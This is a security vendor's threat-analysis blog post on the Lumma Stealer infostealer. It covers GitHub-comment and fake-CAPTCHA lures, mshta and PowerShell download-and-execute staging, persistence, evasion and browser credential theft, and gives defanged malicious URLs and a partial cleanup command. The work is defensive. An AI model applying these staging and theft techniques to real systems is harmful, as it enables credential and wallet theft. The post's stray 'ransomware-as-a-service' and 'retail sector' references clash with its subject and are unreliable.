Lumma Infostealer Continues Its GitHub Social Engineering Campaign

Lumma Stealer is a rapidly proliferating information-stealing malware that has been implicated in numerous cybercrime campaigns in 2024–2025. The malware’s operators have leveraged trusted platforms like GitHub to distribute payloads, while employing sophisticated tactics, techniques, and procedures (TTPs) to evade detection and steal sensitive data. This post provides a deep dive into who is behind Lumma Stealer, an analysis of observed TTPs mapped to MITRE ATT&CK, and defensive measures to counter this threat.

What Is Lumma Infostelar Malware?

Lumma Stealer is offered as a Malware-as-a-Service (MaaS) by its developers, enabling a broad range of cybercriminals to use it in their attacks. First appearing on dark web forums in August 2022, Lumma Stealer is sold by a threat actor known by the aliases “Shamel” or “Lumma” [1]. It is marketed through tiered subscriptions, from around $250 to $20,000 for full source code access [2]. This business model has made Lumma readily accessible even to less-skilled attackers, driving a surge in its use so much so that industry telemetry shows a 369% increase in Lumma infections from early to late 2024. 

What Is Separating Lumma Infostealer Apart from Other Infostealers

Lumma Stealer’s authors continuously improve the malware with advanced features to ensure its success. 

• The malware uses several defense evasion techniques, including virtual machine and sandbox detection, and payload encryption to avoid analysis.
• It can also pack itself as polyglot files (files that masquerade as a different file type). 
• It heavily uses “Living off the Land” techniques by abusing legitimate system tools (for example, DLL sideloading, mshta for running scripts, PowerShell, WMI, and process hollowing). 

These features make Lumma Stealer a stealthy and flexible threat. 

Motivation Behind Lumma Infostelar Malware

The motivation behind Lumma is financially driven: the malware enables criminals to harvest credentials, banking information, cryptocurrency wallets, and other personal data from victims. Stolen data can then be sold on underground markets or used for fraud and identity theft.

The group behind Lumma appears to be financially motivated cybercriminals rather than nation-state actors, focused on maximizing the malware’s reach and profitability. 

Notably, the campaigns observed in 2024–2025 suggest the involvement of affiliate threat actors who purchase and deploy Lumma Infostelar. For instance, threat intelligence reports have identified a group dubbed “Stargazer Goblin” that uses compromised websites and GitHub repositories for malware distribution, with tactics overlapping those seen in Lumma campaigns [3]. This indicates that one or more organized cybercrime groups are actively leveraging Lumma Stealer in the wild.

Analyzing Lumma Infostealer's Advanced Tactics, Techniques, and Procedures (TTPs)

The following section outlines the confirmed TTPs used by Lumma Infostelar affiliates operating under its ransomware-as-a-service (RaaS) model.

Initial Access (TA0001) 

Spearphishing Links via GitHub (T1566.002/T1566.003)

Lumma Stealer operators rely on social engineering and abuse of trusted services to gain initial access to victim systems. Two primary initial access techniques have been observed:

Attackers have been impersonating trusted platforms like GitHub to deliver malicious links to victims. In one campaign, developers received bogus notifications (purportedly from the “GitHub Security Team”) about a fake vulnerability in their repository, urging them to download a “fix” – which was in fact Lumma Stealer. 

In another widespread campaign, adversaries abused GitHub’s issue tracker and comment system to post fake “fixes” for open-source projects. Over a three-day span, tens of thousands of comments were posted on various GitHub repositories, all offering a solution that directed users to download a file from an external link [4]. The comments often claimed to provide a patch or answer to a question, but the provided link (e.g. a Bit.ly URL leading to a password-protected ZIP on MediaFire) contained malware. 

Here is an example GitHub comment made by Lumma Stealer holders [5].

Users who followed these links would download a file (often named innocuously, like fix.zip) from what appeared to be a secure, reputable source, exploiting the inherent trust of platforms like GitHub [3]. In reality, the file was a trojanized installer that would infect the system with Lumma Stealer:

The payload file referenced is hosted on GitHub’s official content delivery infrastructure for project release assets (github-production-release-asset-2e65be). This URL:

• Appears legitimate and secure (HTTPS, Amazon S3-signed).

• Uses X-Amz- signed parameters, indicating it was generated for a temporary, pre-authenticated download.

• Points to a file named Pictore.exe with MIME type application/octet-stream (generic binary), signaling it's an executable.

Thus, users see a familiar domain (githubusercontent.com) and trust it by default. This is abuse of implicit trust in legitimate infrastructure, common in modern campaigns. These phishing campaigns via email or platform messages were key to delivering Lumma to target environments by tricking users into executing malicious downloads from trusted or convincing sources.

Malvertising and Web Redirects (T1189)

Other Lumma Stealer attacks have used drive-by download tactics in the form of malicious ads and booby-trapped websites. In late 2024, a particularly sophisticated campaign used malvertising to redirect victims to fake CAPTCHA verification pages. Unsuspecting users who clicked a poisoned online ad (for example, an ad promising a software download or a giveaway) would be funneled through traffic distribution systems and eventually landed on a site that displayed a phony “I’m not a robot” CAPTCHA check. After clicking the fake CAPTCHA, victims were presented with unusual instructions (e.g. “Press Windows+R, paste a command, and hit Enter”). Following these steps caused the execution of a malicious PowerShell command that retrieved and installed the Lumma Stealer payload. 

In essence, the threat actors turned the victim into the installer by social engineering them into running a command. This drive-by compromise approach (ATT&CK T1189) did not require a traditional phishing email; instead, it leveraged compromised web infrastructure and deceptive content. Additionally, some campaigns used compromised legitimate websites as part of the redirect chain – hosting malicious scripts that validate the victim and then send them to a GitHub release URL where the Lumma Stealer binary could be downloaded. By using web redirects and fake landing pages, the attackers achieved initial execution of malware code on victim machines without exploiting any software vulnerabilities, purely through social engineering and user interaction.

Execution (TA0002) – Deploying Malware in Memory

User Execution of Trojanized Files (T1204.002)

Lumma Stealer requires the victim to execute a malicious file for the infection to begin. The malware is often delivered as an apparently benign application – for example, a tool or update that the user believes is legitimate. In the GitHub campaigns, victims manually ran executables downloaded from a repository’s “Releases” section, not realizing they were malware. 

In the fake GitHub comment scenario, users were instructed to run an executable named like a legitimate development tool (e.g., x86_64-w64-ranlib.exe*) inside a downloaded fix.zip. Running this file initiated the malware; sandbox analysis confirmed it was actually the Lumma Stealer binary in disguise. 

In some cases, the Lumma dropper came signed with stolen or abused code-signing certificates to appear trustworthy – for instance, malicious files in December 2024 were signed by legitimate-sounding companies (ConsolHQ LTD and Verandah Green Limited), though those certificates were later revoked once the fraud was discovered. Upon execution, these trojanized files often unpack additional components on the system. For example, an observed Lumma sample was a self-extracting installer that dropped several files (including an NSIS archive and DLLs) into the Temp directory when run. 

The following is another variant** of Lumma Stealer observed in the wild. On the “Files Dropped” section listed in VirusTotal, we can see the dropped files on the Temp directory under the C:\Users\user\AppData\Local directory.

Similarly, a “SmartLoader” dropper used in some campaigns was delivered as a ZIP archive containing multiple files – a legitimate LuaJIT executable, a malicious DLL, a batch script, and an obfuscated Lua script. The victim’s action of launching the included batch file (.bat) would trigger the LuaJIT interpreter to load the hidden Lua script, thereby starting the infection chain.

In all these cases, execution is achieved via User Execution of a malicious file (ATT&CK technique T1204.002), relying on the user’s willingness to run what they think is a harmless program.

Scripting and Loader Execution (T1059, T1218)

After the initial binary is launched, Lumma Stealer’s infection chain makes heavy use of script execution and system utilities to load the malware into memory. 

Many Lumma campaigns employ command-line scripts and “living-off-the-land” binaries to execute second-stage code: for example, in the fake CAPTCHA incidents, the malware was delivered by an obfuscated PowerShell script that the user unwittingly ran. The PowerShell command (delivered via the fake CAPTCHA page) was base64-encoded and hidden, and once executed it attempted to download an additional payload. If not blocked, this would lead to running another obfuscated PowerShell script, ultimately loading the final Lumma Stealer DLL or executable in memory. This multi-layer scripting approach helps avoid writing the final malware to disk in a straightforward way.

For instance, in a 2025 Lumma Stealer campaign, threat actors abused mshta.exe—a signed Windows binary designed to execute Microsoft HTML Applications (HTA)—as a proxy to execute obfuscated JavaScript hosted remotely. 

The command observed disguises the payload behind a misleading .mp4 extension, though the content is likely an HTA file containing embedded JavaScript or VBScript.

This is a textbook case of Signed Binary Proxy Execution (MITRE T1218.005), where attackers leverage the trust associated with a Microsoft-signed binary to bypass security controls and initiate code execution without dropping traditional malware to disk.

Upon execution, the HTA script decoded and launched a Base64-encoded PowerShell command, which was responsible for initiating the next stage of the attack. 

Specifically, the PowerShell script employed the System.Net.WebClient object to fetch an additional script from a second URL (hxxps://n2[.]aroundpayablequirk[.]shop/s7.xll), using Invoke-Expression (iex) to execute it in memory. The script ran with flags like -w hidden, -ep bypass, and -nop—parameters commonly associated with evasive scripting activity to avoid logging, disable execution policies, and suppress command window output. This second-stage script further downloaded and compiled a `.NET-encoded payload into memory: the Lumma Stealer binary.

This technique chain highlights how Lumma operators blend social engineering, LOLBins (like mshta and PowerShell), in-memory execution, and staged payload delivery to avoid detection and maximize success. It also demonstrates the critical role that user interaction (e.g., running a copied mshta command from a fake CAPTCHA site) plays in executing this multi-stage infection chain.

Persistence (TA0003)

Though Lumma typically operates in a grab-and-go model, in extended campaigns it uses persistence techniques via companion malware (e.g., RATs or loaders).

Startup Folder Abuse: Lumma Stealer campaigns have been observed creating .url shortcut files in the Windows Startup folder to achieve persistence. These shortcuts point to JavaScript payloads (e.g., HealthPulse.js), which are executed via mshta.exe upon user login. This method ensures that the malicious script runs automatically every time the system boots.

Scheduled Tasks: In addition to startup folder abuse, attackers have employed scheduled tasks to maintain persistence. For instance, a scheduled task named "Lodging" has been used to execute a JavaScript payload (Quantifyr.js) every five minutes:

Overall, Lumma Stealer itself may not always install persistence (it often does its job in one run), but the threat group’s toolkit ensures that they can remain in the network. 

If Lumma is deployed alongside other malware (RATs, loaders, etc.), those are used to maintain a foothold and even re-deploy Lumma or other stealers periodically. From a defender’s perspective, any unexpected startup entries or scheduled tasks should be investigated, as they could be the artifact of a Lumma Stealer infection chain setting up shop.

Defense Evasion

Obfuscation and Encryption (T1027)

Lumma Stealer employs multiple obfuscation methods to evade detection. 

TL:DR;

• Base64 Encoding: PowerShell scripts are often Base64-encoded to obscure their content. 

• XOR Encryption: Used to encrypt strings and payloads, hindering static analysis.

• Junk Code Insertion: Inserts meaningless code to confuse analysis tools. 

• Polyglot Files: Files with dual formats (e.g., .mp3, .accdb, .pub) containing malicious JavaScript to bypass security scanners.

Lumma Stealer binaries and scripts are often heavily obfuscated to avoid antivirus detection and hinder reverse engineering. For example, PowerShell scripts used in recent campaigns were found to be layered with Base64 encoding, XOR encryption, and meaningless junk code to confuse analysis. The Lumma Stealer executable itself is frequently packed or encrypted; according to threat reports, it even encrypts portions of its code to deter analysis and signature-based detection.

Masquerading and Trusted Signing (T1036)

To blend in, the malware and its components masquerade as legitimate files. We’ve seen attackers name their dropper as common tools (ranlib.exe, update.exe, etc.) and even digitally sign the malware with certificates from seemingly legitimate companies. By presenting a valid digital signature, the file can appear trustworthy at first glance. Although certificate authorities eventually revoked those certificates once the malware was reported, during the campaign the valid signature would have helped the malware bypass some security controls. The adversaries also craft their fake GitHub repositories to look legitimate by using AI-generated README content and professional-looking formatting, although careful inspection reveals red flags like excessive emojis and awkward phrasing that can betray the ruse. Using impersonation and masquerading techniques, the attackers attempt to trick both users and security tools into seeing the malware as benign.

Living-off-the-Land Binaries (T1218) and Process Injection (T1055)

Lumma Stealer leverages trusted system binaries to execute malicious code.

TL:DR;

• mshta.exe: Executes remote HTA files containing malicious scripts.

• wscript.exe: Runs malicious VBScript or JavaScript files.

• RegAsm.exe: Used for DLL injection into trusted processes, facilitating stealthy execution.

• Process Hollowing (T1055.012): Injects malicious code into legitimate processes, replacing their memory to evade detection.

Lumma’s operators heavily abuse trusted system binaries to execute their payload (as described in the Execution section). This not only facilitates execution but also serves as a defense evasion technique. By using programs like mshta.exe, wscript.exe, or RegAsm.exe (the .NET assembly registration tool) to run malicious code, the malware can bypass application whitelisting and hide behind the legitimacy of those binaries.

In one case, the attackers used RegAsm.exe to perform DLL injection – loading a malicious DLL into the context of a trusted process – in order to connect to their C2 server without raising suspicion. 

Process injection techniques like process hollowing(T1055.012) have also been attributed to Lumma Stealer; this is where the malware spawns a legitimate process and then replaces its memory with malicious code. By running inside a legitimate process (e.g., a system process or a known application), Lumma can hide its malicious activity from naive process watchers and some security products.

Cleanup and Anti-Analysis (T1070.004, T1497.001)

To avoid detection and hinder analysis, Lumma Stealer performs the following techniques.

TL:DR;

• Deletes Artifacts: Removes its working directory and temporary files post-execution using commands like:

• Virtualization/Sandbox Evasion: Performs system checks to detect virtual environments or analysis tools, altering behavior accordingly.

After successful execution, Lumma Stealer often cleans up its traces to avoid forensic detection. 

For instance, a Lumma dropper was observed deleting its working directory and temporary files shortly after launching the payload, using a command like cmd.exe /c ... rd /s /q "<malware_folder>" to silently remove the malware files and then exit. This corresponds to Indicator Removal on Host – File Deletion (T1070.004), ensuring that no obvious malicious files remain on disk.

The malware also checks for the presence of security tools or virtualized environments (T1497.001 – Virtualization/Sandbox Evasion: System Checks). It may look for processes associated with antivirus (as seen in logs where the malware searched for strings like “wrsa” and “opssvc”, related to security software) and adjust its behavior accordingly (for example, pausing or exiting if it detects a sandbox). 

In one decoded script, the malware specifically looked for signs that AMSI (Microsoft’s Antimalware Scan Interface) would detect Mimikatz, using that as a cue to decide whether to decrypt and proceed with its payload. These anti-analysis checks and conditional behaviors make the malware more resilient against detection in automated analysis environments.

Credential Access

Once running on a victim’s machine, Lumma Stealer’s primary goal is to collect and exfiltrate sensitive data – especially credentials and authentication tokens – from the infected system. The malware has demonstrated multiple techniques for stealing credentials.

Credentials from Web Browsers (T1555.003) and Session Cookies (T1539)

Lumma Stealer targets popular web browsers to obtain stored passwords, saved login cookies, auto-fill data, browsing history, and other information that could grant access to online accounts. Upon execution, the stealer searches for browser data directories (for example, the Chrome user profile folder) and accesses files such as login databases and cookies. 

In one variant analysis, the malware issued a DNS query to a specific domain associated with its operation (e.g., lumdukekiy[.]shop) and then proceeded to access Chrome’s SQLite databases storing passwords and session cookies. Copying or reading these files allows the malware to harvest saved credentials and active session tokens without needing to prompt the user. Threat actors often copy the entire browser data folder to a temporary location for processing, which enables them to extract credentials and cookies at their leisure. By stealing session cookies, the attacker can potentially bypass multi-factor authentication and hijack active sessions (this is known as “Session Hijacking”, aligned with ATT&CK technique T1539). 

Reports note that Lumma Stealer actors use the stolen browser data to enable account takeovers and identity theft – for instance, stealing a victim’s web session cookies could let the attacker log into the victim’s email, cloud services, or banking portals without needing their password.

Cryptocurrency Wallets and Other Sensitive Files (T1552.001)

In addition to browser-stored passwords, Lumma Stealer scans for cryptocurrency wallet data and other financial information. It is configured to seek out wallet files or keys for various crypto applications, browser extensions (like MetaMask or other wallet plugins), and even Authenticator browser extensions that store 2FA seeds. By grabbing these, the malware can compromise cryptocurrency accounts and bypass two-factor authentication protections. One campaign explicitly targeted cryptocurrency wallet extensions and 2FA extensions in browsers, highlighting the stealer’s broad collection capabilities. Lumma Stealer also collects system information, and may search for common filenames or file types that could contain passwords or keys.

Keylogging and Clipboard Data (T1056.001 & T1115): Some variants of Lumma Stealer (or associated plugins) implement keylogging, capturing keystrokes to pick up credentials that might not be stored in files (for example, passwords typed into applications). The malware can also scrape clipboard contents (T1115) to steal anything the user has recently copied, such as passwords or credit card numbers. These capabilities were observed in threat intelligence reporting on Lumma’s campaign tools. Combined with screen captures (T1113) or other collection techniques, Lumma can gather a comprehensive set of data.

Command and Control

All of the stolen data – passwords, cookies, wallet keys, system info, etc. – is typically packaged into an archive or sent directly to the attacker’s command-and-control (C2) server. Lumma Stealer communicates with its C2 over common web protocols (HTTP/HTTPS), and may encrypt or encode the data in transit for stealth. By pillaging browsers and applications for credentials, Lumma Stealer enables attackers to rapidly monetize an infection, either by selling the collected credentials (so-called “stealer logs”) on criminal markets or by using them to break into victim accounts (corporate email, VPNs, bank accounts, cryptocurrency exchanges, and more).

How Does Picus Help Defend Against the Lumma Infostealer Attacks?

We strongly suggest simulating ransomware groups to test the effectiveness of your security controls against their attacks using the Picus Security Validation Platform.  

The Picus Threat Library includes the following Lumma Infostelar threat, replicating TTPs observed in the wild.

The Picus Mitigation Library has also provided the following mitigation suggestions regarding the Lumma Infostelar  threat.

Defense Strategies Against the Lumma Infostelar Exfiltration Campaigns

Given Lumma Infostealer’s tactics, organizations, especially those in retail and critical infrastructure, should adopt a multi-layered defense. Below are five tailored mitigation and remediation steps to counter Lumma malware’s known behaviors:

Continuously Test and Validate Security Controls

Lumma Infostelar affiliates follow a clear sequence of behaviors. Implementing Breach and Attack Simulation (BAS) platforms, such as Picus Security Control Validation (SCV), enables security teams to emulate realistic, multi-stage attack scenarios that mirror the tactics, techniques, and procedures (TTPs) observed in their campaigns targeting the retail sector. 

By continuously testing your environment against these scenarios, BAS tools can expose blind spots, validate existing controls, and generate actionable insights to improve detection and response capabilities—helping you stay one step ahead of sophisticated adversaries.

References

[1] “Active Lumma Stealer Campaign Impacting U.S. SLTTs,” CIS. Available: https://www.cisecurity.org/insights/blog/active-lumma-stealer-campaign-impacting-us-sltts. [Accessed: May 05, 2025]

[2] M. Szabó, “Lumma Stealer: A fast-growing infostealer threat.” Available: https://www.eset.com/blog/en/lumma-stealer-a-fast-growing-infostealer-threat/. [Accessed: May 05, 2025]

[3] “Lumma Stealer’s GitHub-Based Delivery Explored via Managed Detection and Response,” Trend Micro, Jan. 30, 2025. Available: https://www.trendmicro.com/en_us/research/25/a/lumma-stealers-github-based-delivery-via-mdr.html. [Accessed: May 05, 2025]

[4] L. Abrams, “GitHub comments abused to push password stealing malware masked as fixes,” BleepingComputer, Aug. 31, 2024. Available: https://www.bleepingcomputer.com/news/security/github-comments-abused-to-push-password-stealing-malware-masked-as-fixes/. [Accessed: May 05, 2025]

[5] “Your Data Is Under New Lummanagement: The Rise of LummaStealer.” Available: https://www.cybereason.com/blog/threat-analysis-rise-of-lummastealer. [Accessed: May 05, 2025]